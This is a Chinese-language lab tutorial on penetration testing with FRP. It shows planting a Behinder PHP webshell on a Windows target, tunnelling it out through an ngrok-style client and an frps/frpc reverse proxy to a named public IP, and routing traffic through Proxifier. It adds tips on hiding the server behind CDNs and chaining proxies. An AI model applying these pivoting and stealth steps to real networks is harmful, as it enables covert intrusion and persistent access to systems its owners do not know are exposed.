frp反向代理
字数 1378 2025-08-11 22:57:12
FRP反向代理内网穿透与渗透测试实战教程
一、环境准备
1.1 所需设备
- 靶机:内网中的目标机器(本文以Windows为例)
- 攻击机器:具备外网访问能力的攻击者主机
- 服务器:具有公网IP的VPS或云服务器(本文以Linux为例)
1.2 靶机环境搭建
- 下载安装phpstudy_pro软件
- 下载地址:https://www.xp.cn/download.html
- 启动phpstudy_pro
- 修改默认端口为56789(或其他非标准端口)
- 验证环境:
- 访问
http://localhost:56789/确认Web服务正常运行
- 访问
- 上传WebShell:
- 在phpstudy的www根目录下上传冰蝎3的PHP木马文件(如shell.php)
- 访问
http://localhost:56789/shell.php确认木马可正常解析
二、建立基础隧道(Windows演示)
-
在靶机执行隧道连接命令:
./sunny clientid 205434289668- Linux系统需先赋予执行权限:
chmod 777 sunny
- Linux系统需先赋予执行权限:
-
在攻击机器验证隧道:
- 通过外网访问
http://jilin.vipgz4.idcfengye.com/shell.php - 确认可以访问到靶机的WebShell
- 通过外网访问
-
使用冰蝎连接:
- 在攻击机器上使用冰蝎客户端连接上述URL的木马
三、配置FRP反向代理
3.1 下载FRP
- 从GitHub下载对应版本的FRP:
- Windows版(用于靶机)
- Linux版(用于服务器)
3.2 服务器端配置(Linux)
-
上传Linux版FRP到服务器
-
赋予执行权限:
chmod 777 ./* -
配置frps.ini:
[common] bind_addr = 0.0.0.0 bind_port = 7100 # 服务器监听端口 dashboard_addr = 0.0.0.0 dashboard_port = 7500 # 仪表板端口 dashboard_user = admin # 仪表板用户名 dashboard_pwd = admin # 仪表板密码 -
启动FRP服务端:
./frps -c frps.ini- 建议使用screen保持后台运行:
screen -S frps ./frps -c frps.ini
- 建议使用screen保持后台运行:
-
访问仪表板:
- 通过浏览器访问
http://服务器IP:7500 - 使用配置的用户名/密码登录
- 通过浏览器访问
3.3 靶机端配置(Windows)
-
配置frpc.ini:
[common] server_addr = 49.233.61.181 # 服务器公网IP server_port = 7100 # 服务器端口 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 56789 # 本地Web服务端口 remote_port = 6000 # 服务器转发端口 -
启动FRP客户端:
frpc -c frpc.ini -
验证代理:
- 在攻击机器访问
http://服务器IP:7500确认代理状态 - 通过
http://服务器IP:6000访问靶机内网服务
- 在攻击机器访问
四、配置Proxifier全局代理
-
下载Proxifier:
- 地址:https://www.onlinedown.net/soft/971579.htm
-
配置代理规则:
- 添加FRP建立的代理通道
- 设置需要走代理的应用程序或全局代理
五、关键注意事项
-
防火墙与安全组:
- 确保服务器防火墙和安全组开放7100、7500、6000等使用端口
-
安全性:
- 修改默认的仪表板用户名和密码
- 考虑使用token进行额外认证
-
稳定性:
- 使用systemd或supervisor管理FRP服务
- 配置自动重连机制
-
隐蔽性:
- 可考虑使用CDN隐藏服务器真实IP
- 使用非标准端口减少扫描风险
-
多协议支持:
- FRP支持TCP/UDP/HTTP/HTTPS等多种协议
- 可根据需要配置不同类型代理
六、扩展应用
-
多级代理:
- 通过FRP建立多层级代理链增强隐蔽性
-
端口复用:
- 配置多个服务通过不同子域名或路径共用80/443端口
-
负载均衡:
- 配置多个内网服务实现负载均衡
-
P2P模式:
- 在支持的情况下使用FRP的P2P模式减少服务器流量消耗
通过以上配置,可以实现内网服务的稳定穿透,为后续渗透测试提供便利通道。请确保所有操作均在合法授权范围内进行。